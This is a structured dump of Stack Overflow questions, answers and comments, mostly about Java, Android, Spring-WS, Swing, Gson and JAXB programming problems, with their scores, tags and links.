has body: I am totally new to Spring and started self studying from the begining as I want to develop as Spring-WS based web service. I have created schemas.xsd, spring-ws-servlet.xml and web.xml files in WEB-INF folder. Also implemented the endpoint annotated with @Endpoint. In my scehmas.xsd I have below element <xsd:element name="SimpleRequest"> <xsd:complexType> <xsd:sequence> <xsd:element name="reName" type="xsd:string" /> </xsd:sequence> </xsd:complexType> </xsd:element> and in web.xml I specify the spring-ws message dispatcher servlet as below. spring-ws org.springframework.ws.transport.http.MessageDispatcherServlet contextConfigLocation /WEB-INF/spring-ws-servlet.xml transformWsdlLocations true spring-ws /* In spring-ws-servlet.xml I define the endpoint <context:component-scan base-package="com.test" /> <sws:annotation-driven /> <sws:dynamic-wsdl id="form" portTypeName="GUIForm" locationUri="/forms/"> <sws:xsd location="/WEB-INF/schemas.xsd" /> </sws:dynamic-wsdl> <property name="defaultEndpoint" ref="formsEndpoint" /> In my FormsEndpoint class I have the below method, @PayloadRoot(namespace = NAMESPACE_URI, localPart = "SimpleRequest") @ResponsePayload public Element handleFormsRequest(@RequestPayload Element simpleRequest) throws JDOMException, ParserConfigurationException { System.out.println("================ Hit on Endpoint ========================"); String formId = formIdExpression.valueOf(simpleRequest); } At the line formIdExpression.valueOf(simpleRequest); it always throws java.lang.ClassCastException: com.sun.xml.internal.messaging.saaj.soap.ver1_1.BodyElement1_1Impl cannot be cast to org.jdom.Element at org.jaxen.jdom.DocumentNavigator.getDocumentNode(DocumentNavigator.java:396) at org.jaxen.expr.DefaultAbsoluteLocationPath.evaluate(DefaultAbsoluteLocationPath.java:102) at org.jaxen.expr.DefaultXPathExpr.asList(DefaultXPathExpr.java:102) at org.jaxen.BaseXPath.selectNodesForContext(BaseXPath.java:674) at org.jaxen.BaseXPath.selectSingleNodeForContext(BaseX…
tagged with: web-services
tagged with: spring
type: AnsweredQuestion

http://stackoverflow.com/a/25419949
upvote count: 1
downvote count: 0
type: Answer
has body: Try to use String to save accessTokenExpires then get it this way: SimpleDateFormat format = new SimpleDateFormat( "ccc MMM dd HH:mm:ss ZZZZ yyyy", Locale.ENGLISH ); try { Date expireDate = format.parse( accessTokenExpires ); } catch ( java.text.ParseException e ) { e.printStackTrace(); } There's my working code: SimpleDateFormat format = new SimpleDateFormat( "ccc MMM dd HH:mm:ss ZZZZ yyyy", Locale.ENGLISH ); try { Date expireDate = format.parse( accessExpireStr ); AccessToken accessToken = AccessToken.createFromExistingAccessToken( accessTokenStr, expireDate, null, AccessTokenSource.FACEBOOK_APPLICATION_NATIVE, mPermissions ); Session.openActiveSessionWithAccessToken( mActivity, accessToken, mFacebookCallback ); } catch ( java.text.ParseException e ) { e.printStackTrace(); } Where List&lt;String&gt; mPermissions = new ArrayList&lt;String&gt;(); mPermissions.add( "public_profile" ); mPermissions.add( "email" );
score: 1
answers question: http://stackoverflow.com/q/22258136

http://stackoverflow.com/q/22246548
has answer: http://stackoverflow.com/a/22246778
answer count: 4
tagged with: http://stackoverflow.com/tag/xml
has answer: http://stackoverflow.com/a/22247818
type: UnansweredQuestion
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22246795
has body: I am trying to read an XML file from java program. I am able to read its contents.I am posting the XML file from which i am reading contents. <?xml version="1.0" encoding="UTF-8" ?> 29 lucifer i am able to write its contents through java program i am posting my code.. import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement public class Customer { String name; int age; int id; public String getName() { return name; } @XmlElement public void setName(String name) { this.name = name; } public int getAge() { return age; } @XmlElement public void setAge(int age) { this.age = age; } public int getId() { return id; } @XmlAttribute public void setId(int id) { this.id = id; } } public class CheckClass { public static void main(String[] args) { try { File file = new File("./file/NewFile.xml"); JAXBContext jaxbContext = JAXBContext.newInstance(Customer.class); Unmarshaller jaxbUnmarshaller = jaxbContext.createUnmarshaller(); Customer customer = (Customer) jaxbUnmarshaller.unmarshal(file); System.out.println(customer.age); } catch (JAXBException e) { e.printStackTrace(); } } } But i have to read values from this XML file which i can not.This is my XML file <?xml version="1.0" encoding="UTF-8"?> When i am trying to access this xml values through java class i am getting this error.. com.sun.xml.internal.bind.v2.runtime.IllegalAnnotationsException: 2 counts of IllegalAnnotationExceptions Class has two properties of the same name "DBName" this problem is related to the following location: at public java.lang.String com.gamma.DBConf.getDBName() at com.gamma.DBConf this problem is related to the following location: at public java.lang.String com.gamma.DBConf.DBName at com.gamma.DBConf Class has two properties of the same name "sid" this problem is related to the following location: at public java.lang.String com.gamma.DBConf.getSid() at com.gamma.DBConf this problem is related to the f…
score: 0
has answer: http://stackoverflow.com/a/22247771
has title: Reading XML files from java

http://stackoverflow.com/comment/97215703
type: Comment
type: AnswerComment
has text: This work-around works, but clashes with my ExclusionStrategy which tells gson to ignore some fields. Gson obviously removes all reference to the fields excluded before it gets to the deserialization step, because those ignored fields in the JSON now causes the ValidationTypeAdapter to throw an unknown field exception!
score: 0
comment on: http://stackoverflow.com/a/22307855

http://stackoverflow.com/comment/33858378
type: QuestionComment
comment on: http://stackoverflow.com/q/22282986
has text: @Simple Plan thanks for the answer.I'm using Google Map V2 (I follwed this tutorial here https://blog-emildesign.rhcloud.com/?p=403 very clear and simple in case someone needs the steps) any other suggestions? would truly appreciate it!
score: 0
type: Comment

http://stackoverflow.com/q/22197009
has answer: http://stackoverflow.com/a/22197144
score: 1
upvote count: 1
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22197183
tagged with: android-button
answer count: 2
has title: Update TextView numerous times with Buttons
accepted answer: http://stackoverflow.com/a/22197183
has body: I am making a simple shopping cart application where the user can select items (via buttons) and their running total will be displayed in a text view. I am fine with having the text view being updated on a single click but I am struggling to figure out how to write my code if the same button is pressed more than once. For example a button writes a value of £3 into the TextView, if this button was clicked again I want the TextView to increase to £6 and so on. Further to this I want to be able to have more than value added to the TextView from different buttons. I imagine this is more of a Java question as opposed to Android but seeing as I'm a bit of a newbie to both all advice is welcome!
downvote count: 0
tagged with: textview
favorite count: 0
tagged with: android
possible better answer: http://stackoverflow.com/a/22197144
type: AnsweredQuestion

http://stackoverflow.com/a/22274114
score: 2
has comment: http://stackoverflow.com/comment/33842903
upvote count: 2
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/33836824
answers question: http://stackoverflow.com/q/22273746
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22273746
has body: The while(true) is never good in Swing animation. Throw it out the window and say goodbye to it forever. Take that out of your method. You don't need it. The timer takes care of the "looping" Don't start the Timer in the paintComponent method. Do it in the constructor. You should run your Swing apps on the Event Dispatch Thread by wrapping your code in a SwingUtilities.invokeLater... See Initial Threads for more details. You should be setting the frame visible after adding all component. You if statements in your SuperSizeCircle() mess with each other if you look at the logic. That's why you need the keep adding. That doesn't look right to me. Instead us a flag (boolean) to determine whether it should grow or shrink boolean grow = true; public void SuperSizeCircle() { if (XDiameter &gt;= 200) { grow = false; } if (XDiameter &lt;= 20) { grow = true; } if (grow) { XDiameter += 2; YDiameter += 2; } else { XDiameter -= 2; YDiameter -= 2; } } import java.awt.Color; import java.awt.Graphics; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.SwingUtilities; import javax.swing.Timer; public class CirclePanel extends JPanel implements ActionListener { Timer tm = new Timer(15, this); boolean grow = true; int XDiameter = 20; int YDiameter = 20; public CirclePanel() { tm.start(); } public void paintComponent(Graphics g) { super.paintComponent(g); g.setColor(Color.GREEN); g.fillOval(50, 50, XDiameter, YDiameter); } @Override public void actionPerformed(ActionEvent e) { SuperSizeCircle(); repaint(); } public void SuperSizeCircle() { if (XDiameter &gt;= 200) { grow = false; } if (XDiameter &lt;= 20) { grow = true; } if (grow) { XDiameter += 3; YDiameter += 3; } else { XDiameter -= 3; YDiameter -= 3; } } public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { public void run() { JFrame frame = new JFrame("Circle enlarger"); CirclePanel co = new CirclePanel();…

http://stackoverflow.com/comment/33854537
type: Comment
type: QuestionComment
has text: Yeah it's a good thing to do when 'weird shit' starts happening. It happens to the best of us :)
comment on: http://stackoverflow.com/q/22284493
score: 0

http://stackoverflow.com/a/22207733
answers question: http://stackoverflow.com/q/22207436
type: Answer
has body: as you can read in one of the comments, you dont need to escape single quotes. BUT, your DB will probably escape them when running the insert. remove the escaping backslashes, this should work. also consider using PreparedStatement
score: 0

http://stackoverflow.com/comment/33751351
has text: @reto that's on .Net...
type: QuestionComment
comment on: http://stackoverflow.com/q/22227213
score: 0
type: Comment

http://stackoverflow.com/comment/33712188
type: QuestionComment
comment on: http://stackoverflow.com/q/22205852
score: 1
has text: Is the new group also declared in the Spring context?
type: Comment

http://stackoverflow.com/q/22170634
has comment: http://stackoverflow.com/comment/33648297
has body: I want to be able loop this 2 dimensional array and return the size of the first list. For example: double[][] array= { { 15.0, 12.0}, { 11.0, 16.0}, { 16.0, 12.0}, { 11.0, 15.0}, }; I am thinking along the lines of using a loop within a loop structure like.... for(int i=0; i &lt; array.length; i++) { for(int j=0; j &lt; array.length; j++) { // } } Any help would be great. Thanks.
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22170685
tagged with: java
has answer: http://stackoverflow.com/a/22170685
accepted answer: http://stackoverflow.com/a/22170663
has comment: http://stackoverflow.com/comment/33648353
tagged with: loops
downvote count: 1
type: Question
upvote count: 0
tagged with: arrays
score: -1
has answer: http://stackoverflow.com/a/22170697
answer count: 3
has title: Loop 2 dimensional array in Java
has answer: http://stackoverflow.com/a/22170663
favorite count: 0

http://stackoverflow.com/comment/33918994
comment on: http://stackoverflow.com/q/22320806
score: 0
type: Comment
type: QuestionComment
has text: What specific problem are you having and how have you tried to solve it? How do your actual results differ from your expected results?

http://stackoverflow.com/q/22222724
possible better answer: http://stackoverflow.com/a/22243004
tagged with: java
accepted answer: http://stackoverflow.com/a/22223940
has title: Unable to write to Text File Exist in FTP server
tagged with: file
has body: I use below code to write to text file that exists in FTP server.but got java.net.MalformedURLException URL url = new URL("ftp://p@g.com:g@1234@ftp.xyz.com/testjar/2014-03-06-p.txt;type=i"); URLConnection urlc = url.openConnection(); OutputStream os = urlc.getOutputStream(); // To upload OutputStream buffer = new BufferedOutputStream(os); ObjectOutput output = new ObjectOutputStream(buffer); output.writeObject("hiiiii"); buffer.close(); os.close(); output.close(); above username and password is not real but its demo that looks like real. anybody know how to solve this issue or other method to write into a .txt file,let me inform. Edit1:also my username and pass contains @ char and in pass number is there. Full Error: java.net.MalformedURLException: For input string: "g@1234@ftp.xyz.com" at java.net.URL.&lt;init&gt;(URL.java:619) at java.net.URL.&lt;init&gt;(URL.java:482) at java.net.URL.&lt;init&gt;(URL.java:431) at CreateFolder.uploadfile(CreateFolder.java:39) at CreateFolder.main(CreateFolder.java:74) Caused by: java.lang.NumberFormatException: For input string: "g@1234@ftp.xyz.com" at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:492) at java.lang.Integer.parseInt(Integer.java:527) at java.net.URLStreamHandler.parseURL(URLStreamHandler.java:217) at java.net.URL.&lt;init&gt;(URL.java:614) ... 4 more
has answer: http://stackoverflow.com/a/22243004
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33743627
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/22223940
favorite count: 0
tagged with: ftp
upvote count: 1
type: AnsweredQuestion

http://stackoverflow.com/a/22222222
has comment: http://stackoverflow.com/comment/33741253
has body: This sounds like a JDBC issue, since your query runs fast on postgres and that you are using the same DB for both. Suggestion: Try to check if under the hood you're using the OFFSET and LIMIT to get only the data you want, chances are your driver is loading the whole data set in memory and then picking the data you want. If that is the case, use a cursor instead, this helps loading only small edible chunks of your data sets to memory.
has comment: http://stackoverflow.com/comment/33744865
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33741077
answers question: http://stackoverflow.com/q/22201104

http://stackoverflow.com/comment/33910227
type: Comment
type: QuestionComment
has text: Does anything change if you change `<int:service-activator input-channel='sendChannel' ref='sendMailChannel' method="sendOrder"> </int:service-activator>` to `<int:service-activator input-channel='sendChannel' ref='sendMailChannel' method="sendOrder"/>`? I'm looking in `MessagingMethodInvokerHelper` and it's a bit hairy...
score: 0
comment on: http://stackoverflow.com/q/22315250

http://stackoverflow.com/comment/33911526
type: QuestionComment
has text: Do you have rights to delete the file ?
comment on: http://stackoverflow.com/q/22316279
score: 0
type: Comment

http://stackoverflow.com/q/22261969
type: UnansweredQuestion
tagged with: android
has answer: http://stackoverflow.com/a/22262204
has body: I have been searching around for hours now trying to find an answer to this but I cant seem to get anything. In an android app I am making, I am trying to connect to a website and get its headers. From each page I need getStatusCode() and the response time. I can do this, but the problem is that it takes ages. Each connection is taking between 0.7-3seconds. I have tried a load of sites so its not just the servers problems. The code is as below: HttpParams params = new BasicHttpParams(); HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1); HttpClient httpclient = new DefaultHttpClient(params); HttpResponse response; String responseString = null; long startTime = System.currentTimeMillis(); response = httpclient.execute(new HttpGet(site)); long elapsedTime = System.currentTimeMillis() - startTime; Log.v("debugging",elapsedTime+" "); From what I have been reading, alot of people have been complaining about the speed. Some have said that specifying the http version makes it faster but that hasnt changed anything. Does anyone know a way to make this faster or a quicker method. Thanks
score: 1
tagged with: java
upvote count: 1
tagged with: http
type: Question
linked to: http://stackoverflow.com/q/2793150
downvote count: 0
answer count: 1
has title: Increase Speed of HTTPClient Connections Android
favorite count: 0

http://stackoverflow.com/comment/33864397
type: Comment
has text: I'm using Windows 7 Professional. And yes, I'm very excited that it almost works. You're so close I can taste it! WOOOO HOOOO! Is that enough enthusiasm! :-)
comment on: http://stackoverflow.com/a/22247841
type: AnswerComment
score: 0

http://stackoverflow.com/q/22183779
has title: Overwriting Listview when adding a new object - Android
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22188695
has answer: http://stackoverflow.com/a/22183914
tagged with: java
tagged with: listview
type: Question
answer count: 2
has body: When I add an object from another activity using putExtras(), the Listview keeps overwriting with each new object. The list never has more than 1 item listed. What should I do so that when I create a new event it just tacks the new object onto a new position in the listview? Main Activity public class MainActivity extends FragmentActivity implements OnClickListener { ListView listView; int lastIndex = -1; ArrayList&lt;Event&gt; lstEvents = new ArrayList&lt;Event&gt;(); // detail view TextView tvTitle, tvTime, tvDate; ImageView img; View vw_master; boolean _isBack = true; ImageButton add; String title; String date; String time; static final int PICK_CONTACT_REQUEST = 0; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); // Create the adapter to convert the array to views EventAdapter adapter = new EventAdapter(this, lstEvents); // attach adapter to a list view listView = (ListView) findViewById(R.id.listViewFragment); listView.setAdapter(adapter); // // get detail controls tvTitle = (TextView) findViewById(R.id.textViewTitle); tvDate = (TextView) findViewById(R.id.textViewDate); tvTime = (TextView) findViewById(R.id.textViewTime); add = (ImageButton) findViewById(R.id.add); add.setOnClickListener(this); } @Override public void onClick(View v) { // TODO Auto-generated method stub switch (v.getId()) { case R.id.add: Intent intent = new Intent(this, CreateActivity.class); startActivityForResult(intent, RESULT_OK); break; } } protected void onActivityResult(int requestCode, Intent data) { if (requestCode == 1001) { // do something with data recieved Intent intent = getIntent(); if (intent.getExtras() == null) { // Do first time stuff here } else { // Do stuff with intent data here Bundle b = getIntent().getExtras(); title = b.getString("TITLE"); time = b.getString("TIME"); date = b.getString("DATE"); Event newEvent = new …
score: 0
tagged with: android-listview
tagged with: android
has comment: http://stackoverflow.com/comment/33672924

http://stackoverflow.com/a/22197199
has comment: http://stackoverflow.com/comment/33695680
type: Answer
has body: update you can set hibernate.hbm2ddl.auto=update to update your database with changes to your model
answers question: http://stackoverflow.com/q/22195637
score: 0

http://stackoverflow.com/a/22213516
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/22213406
upvote count: 2
has body: myBF, myEF, and myLength are declared static in GConveyor. That means there is only one of each of those integers, and each one is shared by all objects of the class. When you call the GConveyor constructor to create a second instance, the constructor sets those static fields, which then affect the values returned for the first instance.
type: Answer

http://stackoverflow.com/q/22281430
score: 0
has comment: http://stackoverflow.com/comment/33849154
answer count: 1
tagged with: parsing
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22281807
has comment: http://stackoverflow.com/comment/33848864
tagged with: java
has body: I have created a simple client server application using TCP. I am using eclipse and am pretty much new to TCP, so my questions: 1)If i want the client to send an expression such as "10+20-5" so i put it in the argument? which is arg[0]. 2)After sending such an expression mentioned above how do I make the server calculate this actual expression so as to return back to the client the result "25"? Client Code: public class TCPClient { public static void main (String args[]) { // arguments supply message and hostname Socket s = null; try{ int serverPort = 7896; s = new Socket(args[1],serverPort); DataInputStream in =new DataInputStream(s.getInputStream()); DataOutputStream out = new DataOutputStream(s.getOutputStream()); out.writeUTF(args[0]); String data = in.readUTF(); System.out.println("Received: "+ data) ; }catch (UnknownHostException e) {System.out.println("Socket:"+e.getMessage()); }catch (EOFException e){System.out.println("EOF:"+e.getMessage()); }catch (IOException e){System.out.println("readline:"+e.getMessage()); }finally {if(s!=null) try {s.close(); }catch (IOException e) {System.out.println ("close:" + e.getMessage());} } } } Server Code: public class TCPServer { public static void main (String args[]) { try{ int serverPort = 7896; // the server port ServerSocket listenSocket = new ServerSocket(serverPort); while(true) { System.out.println("Server is ready and waiting for requests ... "); Socket clientSocket = listenSocket.accept(); Connection c = new Connection(clientSocket); } } catch(IOException e) {System.out.println("Listensocket:"+e.getMessage());} } } class Connection extends Thread { DataInputStream in; DataOutputStream out; Socket clientSocket; public Connection (Socket aClientSocket) { try { clientSocket = aClientSocket; in = new DataInputStream( clientSocket.getInputStream()); out =new DataOutputStream( clientSocket.getOutputStream()); this.start(); } catch(IOException e) {System.out.println("Connection:"+e.getMessage());} } public void run(){ tr…
type: Question
has comment: http://stackoverflow.com/comment/33848671
tagged with: expression
has title: Client/server expression evaluation in JAVA

http://stackoverflow.com/q/22299409
type: Question
possible better answer: http://stackoverflow.com/a/22299812
accepted answer: http://stackoverflow.com/a/22299875
has answer: http://stackoverflow.com/a/22299812
tagged with: java
tagged with: jtable
answer count: 2
has comment: http://stackoverflow.com/comment/33881849
score: 0
has answer: http://stackoverflow.com/a/22299875
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/21723025
has title: Ho to fill JTable in such a way that each cell contains a `String` consisted of two lines?
has body: Is it possible to fill JTable in such a way that each cell contains a String consisted of two lines? String cellText = "Line 1 \n Line 2"; In my JTable I see cellText displayed as a single line.
tagged with: swing

http://stackoverflow.com/q/22293273
has body: I've seen the many questions on this topic, but can't seem to find the solution to my problem. I'm getting a deserialization error: com.google.gson.JsonSyntaxException: java.lang.IllegalStateException: Expected BEGIN_OBJECT but was STRING at line 1 column 3384 when deserializing my RoutingTable clas specifically, decerialization works perfectly well for everything else. I've uploaded the serialized json data here: http://jsonfiddle.net/bx0ga Class to serialize: public class RoutingTable { private transient final Node localNode; // The current node private final KadBucket[] buckets; { buckets = new KadBucket[NodeId.ID_LENGTH]; } // Methods.... } KadBucket class: public class KadBucket implements Bucket { private final int depth; private final Map&lt;NodeId, Node&gt; nodes; { nodes = new HashMap&lt;&gt;(); } // methods and so on } Serialization code: i have a serialization class that handles serialization using generics: public class JsonSerializer&lt;T&gt; implements KadSerializer&lt;T&gt; { private final Gson gson; { gson = new Gson(); } @Override public void write(T data, DataOutputStream out) throws IOException { try (JsonWriter writer = new JsonWriter(new OutputStreamWriter(out))) { writer.beginArray(); /* Store the content type */ gson.toJson(data.getClass().getName(), String.class, writer); /* Now Store the content */ gson.toJson(data, data.getClass(), writer); writer.endArray(); } } @Override public T read(DataInputStream in) throws IOException, ClassNotFoundException { try (DataInputStream din = new DataInputStream(in); JsonReader reader = new JsonReader(new InputStreamReader(in))) { reader.beginArray(); /* Read the class name */ String className = gson.fromJson(reader, String.class); /* Read and return the Content*/ return gson.fromJson(reader, Class.forName(className)); } } } So for serialization, I do: // Writing to dout which is an output stream new JsonSerializer&lt;RoutingTable&gt;().write(this.localNode.getRoutingTable(), dout); // Reading from din whi…
has answer: http://stackoverflow.com/a/22293380
tagged with: java
tagged with: gson
has answer: http://stackoverflow.com/a/22293365
type: Question
has title: Gson Deserialization error: com.google.gson.JsonSyntaxException: java.lang.IllegalStateException: Expected BEGIN_OBJECT but was STRING
score: 0
answer count: 2
tagged with: api
tagged with: deserialization
type: UnansweredQuestion
tagged with: architecture

http://stackoverflow.com/comment/33813754
score: 0
type: AnswerComment
type: Comment
has text: The entire matrix isn't symmetric, just little blocks of it. Yes, I could hack some get/set methods that know about the symmetric regions, but I also need to use matrix multiplication on this matrix once it's filled, and I think I would lose out on some efficiencies built into the matrix multiplication methods.
comment on: http://stackoverflow.com/a/22256818

http://stackoverflow.com/a/22309106
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/22309064
has body: store as long value returned from System.currentTimeMillis() and load back using Date date=new Date(long value); You can use Calendar class or SimpleDateFormat as shown in below code: import java.text.SimpleDateFormat; import java.util.Calendar; Calendar cal=Calendar.getInstance(); cal.setTimeInMillis(System.currentTimeMillis()); SimpleDateFormat format=new SimpleDateFormat("yyyy-MM-dd"); System.out.println(format.format(cal.getTime())); Read more about Date formatting using SimpleDateFormat.
type: Answer
upvote count: 1

http://stackoverflow.com/comment/33781971
type: Comment
has text: That because I did not put your code in my code. I simply put a comment saying //do your stuff. I will update.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22244464

http://stackoverflow.com/q/22263729
tagged with: swing
answer count: 1
has body: So this is the class with the text field public class SeatInformation extends JPanel{ public static byte section = 0; public static int price = 0; public static char row = 0; public static byte number = 0; public SeatInformation(String title){ setLayout(new GridLayout(5,5)); setLocation(500,20); setSize(100, 50); //Section Label and TextField JLabel SectionLabel = new JLabel("Section:"); SectionLabel.setVisible(true); add(SectionLabel); JTextField Section = new JTextField(""+section); Section.setVisible(true); add(Section); And here is my code to call a change in the field. if(Stadium.getSeat(r,c).getSection() == 1){ final byte s = Stadium.getSeat(r,c).getSection(); final int p = Stadium.getSeat(r, c).getPrice(); final char ro = Stadium.getSeat(r, c).getRow(); final byte n = Stadium.getSeat(r, c).getNumber(); re.addMouseListener(new MouseAdapter() { public void mouseEntered(MouseEvent e){ SeatInformation.section = s; } }); I do not know how to update all the values inside my "SeatInformation" Class, all suggestions are appreciated.
has title: How may I update a JTextField while my GUI is running?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33817587
tagged with: user-interface
type: Question
has comment: http://stackoverflow.com/comment/33818351
score: 0
tagged with: mouselistener
tagged with: java
has answer: http://stackoverflow.com/a/22263804

http://stackoverflow.com/a/22302933
has body: This way, knockOut always has a reference to runner, regardless of the outcome of the following if block. Edit To respond to your edit: there is no difference between the two examples. Both ways are valid and produce the same behavior. (That's assuming that the code above is "normal" and does what a reasonable programmer would expect it to do.) You might choose the first style to improve readability of the code, when taken in context. However, the second style is more common in my experience.
type: Answer
answers question: http://stackoverflow.com/q/22302750
score: 0

http://stackoverflow.com/a/22292161
has comment: http://stackoverflow.com/comment/33871242
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/33871676
upvote count: 3
has comment: http://stackoverflow.com/comment/33876336
has comment: http://stackoverflow.com/comment/33871201
has body: This will open the default browser java.awt.Desktop.getDesktop().browse(theURI); Have a look at this to see how to pass parameter in url
downvote count: 0
has comment: http://stackoverflow.com/comment/33871457
answers question: http://stackoverflow.com/q/22292124

http://stackoverflow.com/comment/33720766
score: 0
comment on: http://stackoverflow.com/a/22210352
type: Comment
has text: I need not just Timer equivalent, but it's cancelation capability
type: AnswerComment

http://stackoverflow.com/comment/33655478
type: Comment
comment on: http://stackoverflow.com/a/22170785
has text: Thanks! Does this system belong to "point to point" or to "publish/subscribe" model?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33845035
score: 4
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22279329
has text: What do you mean by "variations with repetition of words"? Could you show us some sample output?

http://stackoverflow.com/comment/33918434
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22320523
has text: You can certainly do it although it's a pain to write by hand; if you can afford an external library, have a look at Google reflections.
type: Comment

http://stackoverflow.com/q/22236328
has title: Array concept on trying to get the no of lines in the file
score: 0
answer count: 1
has body: I have below code which reads the input from a file using scanner class and sorts the input using comparable interface. This code works fine for a fixed array size but I want to count the no.of lines which are there in the file. public class ReadItemData { public static void main(String[] args) throws Exception { Scanner aScanner = new Scanner(new FileReader( "src//chapter11//Items.txt")); double avg = 0; double sum = 0; Item[] itemArray = new Item[5]; while (aScanner.hasNext()) { String code = aScanner.next(); String sku = aScanner.next(); double qty = aScanner.nextDouble(); itemArray[count] = new Item(code, sku, qty); System.out.println(itemArray[i]); i++; } Arrays.sort(itemArray[i]); System.out.println(); for (Item it : itemArray) { System.out.println(it); sum += qty; } avg = sum / 5; if(qty &lt;= (avg - 10)) { System.out.println("Quantity is 10 less than the average quantity"); } } } class Item implements Comparable { private int qty; private String sku,code; public Item(String code, String sku,int qty) { this.code = code; this.sku = sku; this.qty = qty; } public String getCode() { return code; } public String getSku() { return sku; } public int getQty() { return qty; } public int compareTo(Object o) { Item i = (Item) o; return (this.sku).compareTo(i.sku); } } I tried declaring a int variable count and passed it to the array but I am getting ArrayIndexOutOfBoundsException int count = 0; Item[] itemArray = new Item[count]; One more issue I am facing is I am calculating the sum inside the loop,but I am not getting the desired results My input file PAP ENT 82 WAR HOT 79 TIM JUT 92 BON BLA 76 BON MAG 45 The sum of the quantity goes to 374,but in my code it's calculated to 225 and I am unable to figure out where I am doing wrong. Any help is appreciated. Thanks!!
tagged with: java
type: UnansweredQuestion
tagged with: arrays
has answer: http://stackoverflow.com/a/22236349
type: Question

http://stackoverflow.com/a/22268246
has comment: http://stackoverflow.com/comment/33826371
has comment: http://stackoverflow.com/comment/34006271
has comment: http://stackoverflow.com/comment/33825871
has comment: http://stackoverflow.com/comment/33826306
has comment: http://stackoverflow.com/comment/34008244
has comment: http://stackoverflow.com/comment/33824938
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22268195
has comment: http://stackoverflow.com/comment/33826011
has comment: http://stackoverflow.com/comment/33826342
accepted answer of: http://stackoverflow.com/q/22268195
has comment: http://stackoverflow.com/comment/33826192
has comment: http://stackoverflow.com/comment/33827353
type: Answer
has comment: http://stackoverflow.com/comment/33826217
has comment: http://stackoverflow.com/comment/33827386
score: 2
has comment: http://stackoverflow.com/comment/33824998
upvote count: 3
has body: Do yourself a favor and specify the exact problem you are having and update the question with an output of your program after it fails. Try this: @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (data != null &amp;&amp; data.getExtras().containsKey("Days")) { int i = data.getExtras().getIntExtra("Days", days); TextView tvD = (TextView) findViewById(R.id.MA_TvDays); if (tvD != null) tvD.setText("" + i); } }
has comment: http://stackoverflow.com/comment/33826422
downvote count: 1

http://stackoverflow.com/q/22282845
tagged with: string
favorite count: 0
tagged with: reverse
has answer: http://stackoverflow.com/a/22282907
has answer: http://stackoverflow.com/a/22282898
has answer: http://stackoverflow.com/a/22282879
has answer: http://stackoverflow.com/a/22282886
upvote count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22282904
downvote count: 1
score: 2
tagged with: java
has answer: http://stackoverflow.com/a/22282880
has answer: http://stackoverflow.com/a/37698533
has body: I am trying to reverse all the strings in an array in java, but seem to over write all of them with the first. private static void palindrome(String[] s) { int flag=0; String reverse; for(int i=0;i&lt;n;i++) // n is declared globally as number of strings { reverse=""; for (int j=s[i].length()-1;i&gt;=0;i--) reverse=reverse+s[i].charAt(j); if(s[i].equals(reverse)) { System.out.println(s[i]); flag=1; } } if(flag==0) System.out.println("There are no palindromic strings"); }
type: Question
has title: String array reverse Java
tagged with: arrays
answer count: 7

http://stackoverflow.com/comment/33941087
type: Comment
comment on: http://stackoverflow.com/a/22323926
has text: But I think = operator may pass JVM Registers address or CPU Register Address. So pls clerify that on = equal operator
type: AnswerComment
score: 0

http://stackoverflow.com/a/28366291
upvote count: 13
has body: I had the same issue and solved it by changing the annotation import from com.fasterxml.jackson.annotation.JsonProperty to org.codehaus.jackson.annotate.JsonProperty
downvote count: 2
type: Answer
score: 11
answers question: http://stackoverflow.com/q/22173418

http://stackoverflow.com/a/22227532
downvote count: 0
answers question: http://stackoverflow.com/q/22227407
type: Answer
has body: As for the varargs-notation (boolean...): the varargs-parameter always has to be the last one, so you can only have one of these. You can consider passing null for omitted parameters or you could try some sort of method-overloading like Bathseba suggested. When going for the overloading you have to keep in mind that there are no named paramters, so only poosition and type can define which parameter is passed and which is omitted!!
upvote count: 5
accepted answer of: http://stackoverflow.com/q/22227407
score: 5
type: AcceptedAnswer

http://stackoverflow.com/comment/33681339
has text: Your TreeSet implements SortedSet and NavigableSet, right?
comment on: http://stackoverflow.com/q/22184921
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22296679
has body: This is a code of copying text of one file to another. public class Writer { public static void main(String args[]) throws IOException { File f=new File("D:/test.txt"); FileReader fr=new FileReader(f); char cbuff[]=new char[(int)f.length()]; int c=fr.read(cbuff); fr.close(); FileWriter fw=new FileWriter("D:/newTest.txt"); fw.write(cbuff); fw.close(); } } I wanna know what this line does char cbuff[]=new char[(int)f.length()]; How does FileReader recognizes to store the text of file it's reading into this cbuff[]? When I comment this line int c=fr.read(cbuff); the code doesn't work.Why?
tagged with: file-handling
has title: How does reading a file from a char[] array work in File handling?
possible better answer: http://stackoverflow.com/a/22297170
answer count: 5
has comment: http://stackoverflow.com/comment/33876687
type: AnsweredQuestion
